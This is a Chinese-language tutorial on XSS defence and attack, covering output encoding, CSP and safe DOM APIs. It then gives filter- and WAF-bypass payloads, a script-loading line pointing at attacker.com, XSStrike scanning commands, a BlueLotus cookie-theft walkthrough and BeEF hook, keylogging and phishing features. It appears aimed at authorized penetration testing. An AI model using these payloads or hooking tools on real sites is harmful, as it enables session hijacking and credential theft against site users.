      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
      ALLOWED_ATTR: ['href']
    });

    4. Cookie 安全属性

    • HttpOnly:禁止 JavaScript 读取 Cookie(防止窃取)。

    • Secure:仅通过 HTTPS 传输。

    • SameSite=Strict 或 Lax:限制跨站请求携带 Cookie,可缓解部分 XSS+CSRF 组合攻击。

    5. 使用安全的 API 避免 DOM XSS

    危险(禁止使用):

    element.innerHTML = userInput;
    element.outerHTML = userInput;
    document.write(userInput);
    eval(userInput);
    setTimeout(userInput, 0);

    安全替代:

    element.textContent = userInput;     // 纯文本,不解析HTML
    element.innerText = userInput;       // 同上
    element.setAttribute('data-xxx', userInput);   // 属性值会自动转义(但注意危险属性如 href)

    6. 框架自带防护

    • React:默认转义所有动态内容(除非使用 dangerouslySetInnerHTML)。

    • Angular:默认转义,且内置消毒剂(DomSanitizer)。

    • Vue:双花括号 {{ }} 转义;v-html 危险。

    • jQuery:.text() 安全,.html() 危险。

    7. 其他辅助措施

    • X-XSS-Protection(已废弃但部分浏览器仍支持):X-XSS-Protection: 1; mode=block。

    • 子资源完整性(SRI):防止 CDN 上的脚本被篡改。

    • 定期安全扫描(使用 Burp、XSStrike 等工具)。


    二、XSS 绕过技术(攻击者视角)

    防御措施总是有漏洞可寻,以下是常见的绕过方法。仅用于渗透测试或 CTF 比赛,严禁非法使用。

    1. 绕过输出编码

    1.1 利用未编码的上下文

    即使使用了 htmlspecialchars()(默认只编码 <>&"'),以下情况仍然危险:

    <!– 在 script 标签内部,需要 JS 转义而非 HTML 转义 –>
    <script>
      var msg = '<?php echo htmlspecialchars($user); ?>'; // 若 $user = '; alert(1); //' 会闭合字符串
    </script>

    防御:对 JS 字符串使用 json_encode() 或 addslashes()。

    1.2 利用 UTF-7 编码(已过时,但旧浏览器可能生效)

    +ADw-script+AD4-alert(1)+ADw-/script+AD4-

    浏览器若错误解析为 UTF-7,则执行。现代浏览器默认 UTF-8,基本无效。

    1.3 利用十六进制/Unicode 绕过检查

    如果后端过滤了 <script> 但未递归解码,可以:

    <scr&#x69;pt>alert(1)</scr&#x69;pt>

    后端看到 i 不会匹配,但浏览器解析成字母。

    2. 绕过标签/事件黑名单

    很多防御只过滤 <script> 标签,但存在大量其他触发点。

    2.1 使用 <img> 或 <svg>

    <img src=x οnerrοr=alert(1)>
    <svg οnlοad=alert(1)>

    2.2 使用其他标签及其事件
    标签事件示例
    <body> onload, onpageshow <body onload=alert(1)>
    <iframe> onload <iframe onload=alert(1)>
    <input> onfocus + autofocus <input onfocus=alert(1) autofocus>
    <details> ontoggle <details ontoggle=alert(1) open>
    <select> onchange <select onchange=alert(1)><option>a
    <marquee> onstart <marquee onstart=alert(1)>
    <video> / <audio> onerror <video src=x onerror=alert(1)>
    2.3 使用 CSS 表达式(仅 IE 旧版)

    <div style="width:expression(alert(1))">

    但现代浏览器不支持。

    3. 绕过基于关键字的过滤(WAF)

    3.1 大小写混写

    <ScRiPt>alert(1)</sCrIpT>

    3.2 双写关键字(如果过滤器只删除一次)

    <scr<script>ipt>alert(1)</scr</script>ipt>

    删除后剩下 <script>alert(1)</script>。

    3.3 使用注释干扰

    <script>/*test*/alert(1)/*test*/</script>

    <script>alert(1)//</script>

    3.4 利用换行/回车/制表符

    <img src=x οnerrοr=alert(1)>

    3.5 使用 HTML5 新标签

    <video><source οnerrοr=alert(1)>

    3.6 利用 javascript: 伪协议(需要用户交互)

    <a href="javascript:alert(1)">click</a>
    <iframe src="javascript:alert(1)">

    4. 绕过长度限制

    当输入框有长度限制(如 10 字符),可以:

    • 修改前端 maxlength(最简单)。

    • 使用短 payload:

      • <svg/onload=alert(1)>(22 字符)

      • <body/onload=alert(1)>(23 字符)

      • <q/oncut=alert(1)>(20 字符)

    • 加载外部脚本:

      <script src="//attacker.com/x.js"></script>

    5. 绕过 CSP

    CSP 严格时,不能执行内联脚本,但仍有绕过可能:

    • 利用现有白名单域名的 JSONP 接口:

      <script src="https://trusted.com/api?callback=alert(1)"></script>

    • 利用 base-uri 未限制:修改 <base> 标签,使相对路径的脚本指向攻击者服务器。

    • 利用 link 预加载:在某些浏览器可将内容注入到不安全上下文。

    • 利用 object 或 embed:如果 object-src 未严格限制,可嵌入恶意 Flash。

    • 利用 AngularJS 模板注入(如果页面使用 AngularJS 1.x 且 CSP 未限制 unsafe-eval):

      <div ng-app>{{constructor.constructor('alert(1)')()}}</div>

    • 利用 script-src 中的 'unsafe-inline':如果策略允许内联脚本,则直接注入。

    6. 绕过 HttpOnly 窃取 Cookie

    HttpOnly 无法通过 document.cookie 读取,但可以:

    • 利用 CSRF + XSS:通过 XSS 发起请求,让浏览器自动携带 Cookie 执行恶意操作(如修改密码)。

    • 窃取页面内的其他敏感信息:如 CSRF Token、API 密钥、用户资料。

    • 利用浏览器漏洞(极少见)。

    7. DOM XSS 特殊绕过

    • 使用 location.hash:服务器日志不会记录 # 后内容,WAF 也看不到。

    • 利用 document.referrer:构造恶意页面,设置 document.referrer。

    • 利用 window.name:攻击者用 window.name 传递 payload,不依赖 URL。


    三、防御与绕过的对抗演进(示例)

    防御绕过再次防御
    过滤 <script> 使用 <img onerror> 过滤事件属性(on\\w+)
    过滤 on\\w+ 使用 <svg><script> 转义 < 为 <
    HTML 实体编码 在 script 标签内闭合引号 对 script 内容进行 JS 转义
    CSP 禁止内联脚本 加载外部 JSONP 接口 限制 script-src 白名单
    限制 document.cookie 窃取页面 token 使用前端 token 有效期短+后台验证

    四、测试建议与工具

    手动测试步骤

  • 注入最简单的 <script>alert(1)</script>,观察是否执行。

  • 如果失败,尝试 '> 闭合上下文,或使用 <img src=x onerror=alert(1)>。

  • 查看页面源码,定位输出位置(HTML 标签内、属性内、JS 内)。

  • 根据上下文选择合适的 payload。

  • 尝试大小写、双写、编码等混淆。

  • 自动化工具

    • XSStrike:强大的 XSS 扫描 + 绕过 payload 生成。

    • Burp Suite Intruder:使用 XSS payload 字典模糊测试。

    • dalfox:快速 XSS 扫描。

    • XSS payload 生成器:如 xss-cheat-sheet 项目。


    五、总结

    防御方核心原则:

    • 输出编码(根据上下文)

    • CSP 严格限制

    • 使用安全的 DOM API

    • 不依赖黑名单过滤

    攻击方核心思路:

    • 寻找防御的“灰色地带”(未被转义的位置、允许的标签/事件)

    • 利用浏览器解析与后端过滤的差异

    • 绕过输入长度、关键字、编码处理

    合法边界:所有绕过技术仅可用于自己拥有授权的系统或本地测试环境。

    六、XSS-XSSstrike

    XSStrike 是一款基于上下文分析的下一代 XSS 扫描工具,通过智能解析而非盲目注入来“理解”漏洞,大幅降低误报率,官方宣称“零误报”。它专为高对抗环境设计,内置了30 余种 WAF 指纹库及自动绕过功能,善于发现 DOM 型 XSS 和需要多层跳转的“盲打”漏洞,还支持并发爬虫和多种编码变形。

    1、核心优势

    特性描述
    智能上下文分析 不是盲目注入Payload,而是分析前端代码结构,识别HTML/JS上下文,动态生成精准Payload,大幅降低误报率
    WAF检测与绕过 具备WAF指纹识别与绕过引擎,能自适应选择变形策略穿透防御
    DOM XSS深度扫描 不依赖请求响应,而是模拟浏览器解析JavaScript,从代码执行流中挖掘漏洞
    盲注检测 支持在爬取过程中自动向表单注入盲测Payload
    数据驱动 通过解析器确保生成Payload精准有效

    2、核心架构解析

    XSStrike 的威力建立在其精心设计的四层架构之上:

    代码结构解析

    模块路径核心职责
    Core 基础设施 core/config.py, core/log.py 管理全局变量、HTTP请求统一封装、结果日志记录
    Parser 解析引擎 core/htmlParser.py, core/jsContexter.py 识别响应中Payload反射位置、提取所有输入向量
    生成与测试引擎 core/generator.py, core/fuzzer.py 核心智能Payload生成器与模糊测试模块
    Photon 爬虫 core/photon.py 多线程网页爬取、表单发现与重复处理
    模式控制器 modes/ 调度四种工作模式(扫描/爬虫/暴力破解/模糊测试)

    3、详细安装指南

    环境要求

    • 操作系统:Linux, Windows 7+, macOS, Termux

    • Python 版本:3.4 或更高版本

    标准安装步骤

    # 1. 克隆官方仓库
    git clone https://github.com/s0md3v/XSStrike.git

    # 2. 进入项目目录并安装依赖
    cd XSStrike
    pip install -r requirements.txt

    # 3. 验证安装(显示帮助信息即为成功)
    python xsstrike.py -h

    Kali Linux 快捷方式

    # 直接下载 .deb 包安装
    wget https://github.com/s0md3v/XSStrike/releases/download/3.1.6/xsstrike_3.1.6_all.deb
    dpkg -i xsstrike_3.1.6_all.deb

    常见安装问题

    • ModuleNotFoundError: No module named fuzzywuzzy:

      pip3 install fuzzywuzzy python-Levenshtein

    • Python版本不匹配:项目根目录有 python3 shebang,务必用 python3 xsstrike.py 执行,而非 python。


    4、命令行接口与操作模式

    全部参数一览

    分类参数功能说明
    目标指定 -u / –url 指定目标 URL
    –data POST 请求数据
    –seeds 从文件批量加载 URL
    –path 在 URL 路径中注入 Payload
    模式选择 –crawl 启用爬虫模式
    –fuzzer 启用单次模糊测试模式
    –file / -f 从文件加载 Payload 进行暴力破解
    配置调优 –level / -l 设置爬取深度(默认 2)
    –threads / -t 设置并发线程数
    –delay / -d 请求延迟间隔(秒)
    高级功能 –proxy 使用代理服务器
    –headers 添加自定义 HTTP 头
    –encode / -e 对 Payload 进行编码
    –json 将 POST 数据视为 JSON 格式
    –blind 在爬取过程中注入盲 XSS Payload
    –skip-dom 跳过 DOM 型 XSS 检测
    日志调试 –console-log-level 控制台日志详细程度
    –log-file 指定日志文件路径

    四种核心工作模式

  • 扫描模式 (Default):最全面的核心模式,完整执行注入探测流程。

  • 爬虫模式 (–crawl):基于 Photon 引擎 自动遍历站点,支持智能去重和多级深度设置。

  • 暴力破解模式 (-f):配合 –fuzzer 使用,从外部文件注入海量 Payload。

  • 单次模糊测试 (–fuzzer):不依赖预设 Payload,通过动态生成异常数据观察页面反馈,发现隐藏漏洞。

  • 常用命令速查表

    功能场景命令示例
    GET 请求扫描 python xsstrike.py -u "http://example.com/search.php?q=query"
    POST 请求扫描 python xsstrike.py -u "http://example.com/login" –data "user=admin&pass=123"
    JSON 数据扫描 python xsstrike.py -u "http://api.com/submit" –data '{"name":"test"}' –json
    模拟浏览器请求 python xsstrike.py -u "http://target.com/page" –headers "User-Agent: Mozilla/5.0" –proxy "http://127.0.0.1:8080"
    批量 URL 扫描 python xsstrike.py –seeds urls.txt
    路径组件注入 python xsstrike.py -u "http://example.com/search/form/query" –path
    自定义 Payload python xsstrike.py -u "http://example.com/page?q=query" -f /path/to/payloads.txt
    启用爬虫 python xsstrike.py -u "http://example.com" –crawl -l 3 –threads 5
    盲 XSS 检测 python xsstrike.py -u "http://example.com/login" –data "user=admin" –blind
    静默扫描模式 python xsstrike.py -u "http://target.com" –silent
    结果导出 python xsstrike.py -u "http://target.com" –output result.json

    结果输出

    找到漏洞后,命令窗口会及时输出发现的信息,包括:

    • 具体发现漏洞的 URL、受影响的参数

    • 推荐的验证 Payload(如 <script>alert(1)</script> 或 <img src=x onerror=alert(1)>)

    • Efficiency(效率)和 Confidence(置信度)评分

    5、核心技术与检测流程

    智能检测工作流

    与传统工具不同,XSStrike 使用解析器分析响应,然后通过与模糊引擎集成的上下文分析来制作保证工作的有效负载。

  • 无特征探测:发出携带特殊检测标记(如 d3v)的请求,不直接使用 <script> 等敏感词,避免触发早期拦截。

  • 上下文感知生成器:核心模块 core/generator.py 根据上下文,在 <script> 标签内、HTML 属性或纯文本区等不同位置,生成绝对可执行 Payload。

  • 结果确认:通过浏览器引擎渲染最终 Payload,确保零误报(扫描单个页面时使用浏览器引擎验证)。


  • 6、WAF 绕过机制

    WAF 指纹识别

    XSStrike 通过分析响应码、页面内容变化及过滤模式,自动识别 WAF 类型(如 Cloudflare, ModSecurity)。

    内置 Bypass 策略

  • 标签语法替换:使用 <svg>、<details> 等冷门标签替代 <script>。

  • 特殊符号干扰:插入 %0a(换行)、%0d(回车)、制表符等,利用 WAF 和浏览器解析逻辑差异绕过。

  • 垃圾数据溢出:向请求中填充大量无用数据,使 WAF 因处理过载而放过真实 Payload。

  • 编码变形:通过 –encode base64 参数,对 Payload 进行多重编码。

  • 提交方式更改:尝试将 GET 参数转为 POST Body 提交,或插入 Cookie 中。

  • Tamper 脚本机制

    用户可编写自定义 Tamper 脚本对 Payload 进行编码混淆,配置位于 plugins/ 目录。执行时使用 –tamper 参数调用,例如:

    python xsstrike.py -u "http://target.com/search?q=test" –tamper "base64,uppercase"


    7、自定义 Payload 实现

    核心文件:db/definitions.json

    该文件定义了 XSStrike 的 Payload 库,结构如下:

    {
    "payloads": {
      "HTML": ["<svg/οnlοad=alert(1)>", "<img src=x οnerrοr=alert(1)>"],
      "JavaScript": ["';alert(1);//", "\\"+alert(1)+\\""],
      "DOM": ["javascript:alert(1)"]
    }
    }

    添加业务特定 Payload,如金融系统可用 "><svg/onload=alert(document.cookie)>。

    自定义模块扩展

    如需深度定制,可编辑 core/generator.py 的逻辑算法,或创建第三方 Hook 插件注入 plugins/ 目录。

    盲注 Payload 配置

    盲注 Payload 通过 core/config.py 中的 BLIND_PAYLOADS 配置列表注入到每个 HTML 表单中。


    8、实战场景与最佳实践

    场景一:反射型 XSS(搜索框)

    python xsstrike.py -u "https://shop.com/search?query=test" –fuzzer

    通过模糊测试引擎寻找反射点,自动生成闭合引号的 Payload。

    场景二:DOM 型 XSS(前端框架)

    python xsstrike.py -u "https://target.com" –dom

    分析 URL Hash、document.write 及 Sink 函数,挖掘客户端漏洞。

    场景三:存储型 XSS(盲打)

    python xsstrike.py -u "http://example.com" –crawl –blind

    爬取网站并注入盲测 Payload,通过反连平台检测存储型漏洞。

    最佳实践清单

    • 循序渐进测试:先进行轻量级单 URL 扫描,确认可行后启用 –crawl 全面评估。

    • 合法授权原则:严格遵守法律法规,测试需经授权。

    • 结果验证确认:对自动发现的漏洞进行手工 PoC 验证。

    • 定期更新维护:定期拉取最新代码获取 WAF 指纹和 Payload 更新。


    9、常见故障排除

    现象可能原因解决方案
    扫描长时间无输出 网络超时或目标响应慢 设置 –timeout 30 延长超时,或使用 –proxy 调试
    误报过多 目标返回动态内容 在 core/config.py 调高 confidence 阈值
    WAF 拦截严重 请求特征过于明显 使用 –encode base64 并配合 –tamper 链式混淆
    爬虫无法抓取链接 页面依赖 JS 动态渲染 XSStrike 默认不执行 JS,可考虑配合 Selenium 扩展插件

    七、XSS-BlueLotusXSS

    BlueLotus(蓝莲花)是一个专为XSS漏洞验证打造的轻量级数据接收平台。与BeEF等复杂的浏览器利用框架不同,BlueLotus的核心目标非常纯粹:当一个XSS漏洞被触发时,它能可靠、详尽地接收并记录攻击返回的数据。

    它的设计哲学是极致的“简约”,这使得它在特定场景下极具优势。

    • 极致简约的设计哲学:它采用无数据库设计,零依赖,非常适合初学者或需要快速部署的场景。

    • “接收器”而非“利用框架”:BlueLotus专注于“接收”,即等待浏览器自动回传数据。而BeEF则更主动,一旦“钩住”(Hook)浏览器,就可以执行大量复杂指令,如内网探测、键盘记录等

    1、核心功能

    功能模块主要作用
    数据接收与记录 平台能够完整记录XSS攻击触发的所有相关信息,包括发送的GET/POST数据、请求头、Cookie以及受害者的IP地址和客户端信息等。
    XSS载荷(Payload)管理 平台内置了多种常用的公共JS模板,方便快速生成攻击Payload。此外,你也可以在“我的JS”模块中自由创建、编辑和保存自己的JS文件,平台提供了格式化和压缩等代码管理功能。
    多用户与安全机制 平台具备多用户管理能力。它还内置了多种自身安全防护机制,包括:
    – 安全校验:登录时采用挑战应答式校验,并支持IP和User-Agent绑定,防止会话被简单窃取。
    – 密码保护:支持密码输错5次封IP的防爆破策略,并提供了误封后的手动解封方法。
    – 数据加密:支持对接收的记录、JS说明文件等进行加密存储,默认加密方式为RC4算法,以保护敏感数据。
    – 可选的邮件提醒:支持配置SMTP,在接收到新消息时通过邮件进行通知。
    – 实时通知:除了邮件通知,平台还引入了WebSocket方式,可以实时推送数据更新。

    2、安装与部署

    蓝莲花平台使用 PHP 编写,无需 MySQL 等数据库支持,部署非常轻量。

    • 环境要求:一个能运行 PHP 的 Web 服务器即可,例如 Apache 或 Nginx。

    • 详细安装步骤
      1. 获取源码 (下载)

      项目源码托管在 GitHub 上,作者为 firesunCN。这是一个轻量级无SQL版本的平台,仅供学习研究使用。

      • 官方唯一推荐下载地址:

        • GitHub主仓库:https://github.com/firesunCN/BlueLotus_XSSReceiver

        • Gitee镜像仓库:https://gitee.com/evlon/BlueLotus_XSSReceiver

      2. 配置Web环境

      下载并解压好源码后,接着配置环境。

      • 配置Web服务:安装Apache为Web服务器,并配置PHP环境来运行程序。

      • 设置目录权限:为确保平台能正常读写文件,需要给特定文件夹写权限。

        # 进入源码根目录
        cd /path/to/BlueLotus_XSSReceiver
        # 授予当前目录及其所有子目录写权限
        sudo chmod 777 -R ./

      3. 运行安装向导

      在浏览器中访问 http://你的服务器地址/BlueLotus_XSSReceiver-master/install.php。

      不要点安装按钮,按照页面提示操作

      访问http://你的服务器地址/BlueLotus_XSSReceiver-master/login.php

      4. 登录后台

      安装成功后,通过 http://你的服务器地址/BlueLotus_XSSReceiver-master/admin.php 访问后台。

    密码:blueLotus

    填写密码登录进去

    进入下图页面表示安装成功

    3、攻击视角:以窃取Cookie为例

  • 创建JS脚本:登录平台后台,进入“我的JS”模块,创建一个新的JS文件。在“公共模版”中选择“default.js”(通常已包含窃取Cookie的代码),然后点击“插入模版”并保存。

  • 生成攻击载荷:在JS管理列表中,找到刚才创建的脚本,点击“生成payload”。平台会提供一个 <script> 标签的链接,例如:

    <script src="http://你的平台地址/myjs/你的脚本名.js"></script>

    这个链接就是攻击载荷。

  • 注入载荷:在目标网站存在XSS漏洞的地方(如留言板、个人签名等),注入该攻击载荷。

  • 等待触发:当有用户访问了包含该载荷的页面时,其浏览器会自动请求并执行你平台上的JS脚本。脚本会将用户的Cookie等信息发送到你的蓝莲花平台。

  • 窃取成功:回到蓝莲花平台,在“接收数据”面板中,你将看到收到的数据,其中包含了受害者的Cookie。

  • 4、防御视角:蓝莲花的利用与对抗

    对防守方来说,蓝莲花这类平台也提供了重要的检测和分析价值。安全研究人员可以利用它来模拟攻击,从而验证漏洞并了解攻击者的行为模式。捕获的攻击数据会被完整记录,包含IP、时间戳、HTTP头等,便于进行溯源分析。

    当然,蓝莲花也支持HTTPS回传和数据加密存储,确保捕获的数据在传输和存储过程中的机密性与完整性。

    5、横向对比

    在 XSS 测试与利用领域,蓝莲花(BlueLotus)通常与 BeEF 和 XSStrike 一起被提及。以下是它们的简单对比:

    工具主要定位类型优点缺点/适用场景
    BlueLotus XSS 数据接收与管理平台 管理平台 – 部署简单,PHP环境即用 – 功能纯粹,专注于数据接收 – 轻量级,资源占用少 交互和深入控制能力较弱
    BeEF 浏览器漏洞利用框架 综合框架 – 功能强大,交互和控制能力强 – 模块丰富,可进行钓鱼、内网穿透等深入操作 部署和配置相对复杂
    XSStrike XSS 漏洞检测与扫描器 扫描器 – 智能检测,误报率低 – 专注于漏洞发现而非利用 不具备数据接收和持续控制的能力

    八、XSS-BEEF

    BeEF(Browser Exploitation Framework,浏览器利用框架)是一款专业的浏览器渗透测试工具。与专注于被动接收数据的XSS平台不同,BeEF的核心在于提供了一个强大的命令和控制面板,能够对已经“上钩”的浏览器进行持续的、双向的实时交互与控制。

    • 核心定义:一款浏览器渗透测试框架,重点是利用浏览器端的漏洞。

    • 运作模式:通过XSS等漏洞将 hook.js 注入目标浏览器(“上钩”),并与BeEF服务器建立持久的通信通道。

    • 主要目的:评估浏览器的安全性,模拟客户端攻击,进行社会工程学测试。

    • 技术栈:由Ruby语言开发,提供Web界面进行操作。

    1、BeEF vs. BlueLotus:核心区别

    对比维度BeEF (BeEF)BlueLotus
    核心定位 交互式控制。主动控制、深度渗透,是一个强大的“武器库” 被动式接收。主要用于被动接收Cookie等数据,是纯粹的“接收器”
    交互与控制 强。提供双向通信通道,可实时向浏览器下发指令 弱。功能主要是单向数据回传
    功能模块 极其丰富。内置超200个攻击模块,涵盖信息收集、社会工程学、内网渗透等 单一。核心功能是数据接收、存储和展示
    攻击持续性 高。通过轮询机制维持对浏览器的持久化控制 低。通常只在触发瞬间回传数据
    应用场景 深度渗透测试。侧重于真实场景下的攻击链路模拟 漏洞验证。侧重于快速证明漏洞危害,收集存在漏洞的证据
    上手难度 较高。需要理解浏览器安全、XSS原理及各模块功能,功能复杂 简单。配置简单,功能单一明确,易于部署

    简单来说,BlueLotus像是设置了一个“陷阱”来捕捉猎物,而BeEF则更像是在猎物身上安装了一个永久的“监控和遥控装置”。

    2、工作原理

    BeEF的核心在于一个永久的“钩子”(Hook)。

    3、核心功能与应用

    信息收集与持久化
    • 信息收集 (Details & Logs):获取“上钩”浏览器的操作系统版本、插件列表、Cookie、当前页面等信息。还可利用Logs功能记录用户在网页上的点击和键盘输入。

    • 会话劫持 (Get Cookie):窃取会话Cookie后,利用工具(如Postman)直接重放请求,在未登录状态下侵入账户,演示无缝身份接管。

    浏览器控制与操作 (Browser)
    • 网页重定向 (Redirect Browser):强制浏览器跳转到钓鱼页面,进行进一步的攻击。

    • 浏览器伪装 (Fake Notification Bar):在页面上伪造系统通知栏,诱导用户点击,可能导致反弹shell等严重后果。

    • 引导下载 (Social Engineering):强制浏览器后台静默下载恶意文件,用于进一步的木马植入。

    社会工程学 (Social Engineering)
    • 漂亮的窃取 (Pretty Theft):在目标页面弹出伪造的登录框,诱导受害者输入账号密码等敏感信息,实现凭证窃取。

    • 定制钓鱼 (Custom Phishing):在真实网页上覆盖伪造内容,用于针对性钓鱼或特定目的(如虚假中奖信息)。

    内网探测与横向移动 (Network)
    • 内网存活主机发现 (Ping Sweep):调用被控制浏览器的网络功能,探测其所在内网中的其他存活主机IP地址。

    • 内网端口扫描 (Port Scanner):扫描内网指定主机的端口开放情况,为后续的进一步攻击提供信息。

    横向工具联动
    • 结合Metasploit:将BeEF作为攻击跳板,向其传递Metasploit的payload,实现从浏览器漏洞到系统层的深入利用。

    4、模块状态说明

    在BeEF的Web面板中执行命令时,会通过颜色来标识攻击模块的状态:

    • 绿色: 功能有效,且执行过程中用户不可见。

    • 橙色: 功能有效,但执行过程中可能会被用户察觉。

    • 灰色: 功能在当前环境下未经验证,可能有效。

    • 红色: 功能对当前浏览器无效。

    5、快速安装与使用

  • 安装

    • Kali Linux:sudo apt update && sudo apt install beef-xss -y。

    • 其他Linux:git clone https://github.com/beefproject/beef.git。

  • 启动:首次启动需要设置密码(默认用户名beef)。

    • 终端启动:sudo beef-xss。

    • 服务管理:sudo systemctl [start\\|stop\\|restart] beef-xss.service。

  • 验证

    • 登录Web UI:http://<服务器IP>:3000/ui/panel(Kali默认是127.0.0.1)。

    • 获取Hook脚本:<script src="http://<服务器IP>:3000/hook.js"></script>。

  • 可以修改/usr/share/beef-xss/config.yaml文件中的host,将IP地址从0.0.0.0改为Kali机器的实际IP,使BeEF可被外部机器访问。

    运行之后就可以进行监听等一系列操作

    6、注意事项

    • 操作规范:BeEF功能强大,使用前必须获得授权。所有操作需严格遵守法律法规及行业道德标准。

    • 功能限制:部分模块因现代浏览器安全策略增强可能受限。执行Hook Domain等命令时,目标需与BeEF在同一网络或路由可达。

    • 学习指引:首次使用时,除DVWA外,BeEF自带的演示页面也是一个很好的学习入口。

    BeEF的强大之处在于它能将简单的XSS漏洞扩展为对整个浏览器的持续控制,是理解客户端安全与模拟高级攻击链路的关键工具。建议在DVWA等本地靶场环境中进行实践,以掌握其核心使用方法。

    赞(0)
    未经允许不得转载:171主机测评 » Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址